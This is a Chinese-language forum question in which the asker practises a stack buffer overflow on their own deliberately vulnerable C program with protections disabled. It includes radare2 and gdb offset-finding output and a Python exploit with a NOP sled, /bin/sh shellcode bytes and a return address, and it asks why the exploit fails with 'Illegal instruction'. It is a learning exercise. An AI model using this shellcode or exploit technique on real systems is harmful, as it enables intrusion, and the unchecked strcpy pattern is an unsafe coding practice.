我写了这个简短的 C 程序来练习缓冲区溢出漏洞:
#include <stdio.h>
#include <string.h>
#include <stddef.h>
#include <inttypes.h>
char *decode(char *s){
for(int i = 0; i < strlen(s); i++){
s[i] ^= 0x15;
}
return s;
}
void get_secret(int argc, char *argv[]){
uint32_t eip_addr;
char secret[] = "}aaef/::lz`a`;wp:qDb!b,BrMvD";
char buffer[100];
if(argc > 1){
strcpy(buffer, argv[1]);
}else{
scanf("%s", buffer);
}
printf("You entered: %s\n\n", buffer);
if(strcmp(buffer, secret) == 0){
printf("Passwords match!\n");
printf("Here is the secret message: %s\n", decode(secret));
}else{
printf("Get the f!@# out of here!\n");
asm volatile("1: lea 1b, %0;": "=a"(eip_addr));
printf("EIP address: %" PRIx32 "; %" PRIu32 " bytes from main start\n",
eip_addr,eip_addr - (uint32_t)get_secret);
}
}
int main(int argc, char *argv[]){
printf("Welcome to the simple verifier!\n");
printf("Please enter your password: ");
get_secret(argc, argv);
return 0;
}
我停用ASLR,并编译它NX,PIE和CANARY禁用:
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -m32 -g -no-pie -fno-stack-protector -z execstack overflow.c -o overflow
使用r2,ragg2和rarun2,我找到了可以覆盖以下返回地址的位置get_secret():
~$ ragg2 -P 200 -r > pattern.txt
~$ echo "#!/usr/bin/rarun2" > profile.rr2 && echo "stdin=./pattern.txt" >> profile.rr2
~$ r2 -r profile.rr2 -d overflow
[0xf7795a20]> dc
EIP address: 804930b; 257 bytes from main start
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41784141 code=1 ret=0
[0x41784141]> wopO 0x41784141
145
[0x41784141]>
所以,现在我确切地知道我的有效载荷必须有多大才能到达返回地址,145 字节。现在我找到了一个指向堆栈的地址,使用gdb:
~$ gdb overflow_exe -q
gdb-peda$ b 20
gdb-peda$ b 25
gdb-peda$ r $(python -c 'print "A"*145+"B"*4')
gdb-peda$ c
gdb-peda$ x/200x $esp
0xffffd100: 0x39 0x25 0xfe 0xf7 0x00 0x00 0x00 0x00
0xffffd108: 0x7d 0xc5 0xe5 0x41 0x41 0x41 0x41 0x41
0xffffd110: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd118: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd120: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd128: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd130: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd138: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd140: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd148: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd150: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd158: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd160: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd168: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd170: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd178: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd180: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd188: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd190: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xffffd198: 0x41 0x41 0x41 0x41 0x42 0x42 0x42 0x42
0xffffd1a0: 0x00 0x00 0x00 0x00 0x74 0xd2 0xff 0xff
0xffffd1a8: 0x80 0x28 0xe2 0xf7 0x55 0x93 0x04 0x08
0xffffd1b0: 0x02 0x00 0x00 0x00 0x74 0xd2 0xff 0xff
0xffffd1b8: 0x80 0xd2 0xff 0xff 0xe0 0xd1 0xff 0xff
0xffffd1c0: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
gdb-peda$
我应该能够\x41用\x90s替换那些s ,将我的 shellcode 附加到它,然后堆栈上的一些地址到它的末尾,使我的有效负载看起来像这样:
"\x90"*117 + </bin/sh shellcode> + <some address that's filled with \x90>
使用这个逻辑,我在 NOP 中间选择了一个地址0xffffd150,并制作了以下 python 漏洞:
#!/usr/bin/env python
import struct, os
#land in middle of NOPs
ret_addr = 0xffffd150
#shellcode -> 28 bytes
shell_code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
#correct endianess
def conv(val):
return struct.pack('<I', val)
# Build the exploit string
# 149 bytes to overwrite the ret addr total
# Need to take 28 bytes for the shellcode and 4 for the return addr
# 145 - 28 = 117
exp = "\x90"*117
exp += shell_code # at the ret addr (145 bytes) here
exp += conv(ret_addr)
print("Starting exploit")
os.system("./overflow_exe "+exp)
但是...我不断收到非法指令错误:
~$ ./overflow_exploit.py
Starting exploit
Welcome to the simple verifier!
Please enter your password: You entered: ���������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin�����°
1�@̀P���
Get the f!@# out of here!
EIP address: 804930b; 257 bytes from main start
Illegal instruction
回到里面,gdb我可以看到 NOP sled、shellcode 和返回地址,所有它们应该在的地方:
gdb-peda$ x/200x $esp
0xffffd120: 0xf7fe2539 0x00000000 0x90e5c57d 0x90909090
0xffffd130: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd140: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd150: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd160: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd170: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd180: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd190: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd1a0: 0x6850c031 0x68732f2f 0x69622f68 0x89e3896e
0xffffd1b0: 0xb0c289c1 0x3180cd0b 0x80cd40c0 0xffffd150
我不知所措。我重新检查了二进制文件的安全功能,但 NX 仍然被禁用(这是我能想到的解释 shellcode 引发“非法指令”错误的唯一原因):
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
gdb-peda$
为什么Illegal instruction当所有安全功能都被禁用并且我的 shellcode 在堆栈中的正确位置时,我的漏洞利用会抛出错误?
我在 Debian 9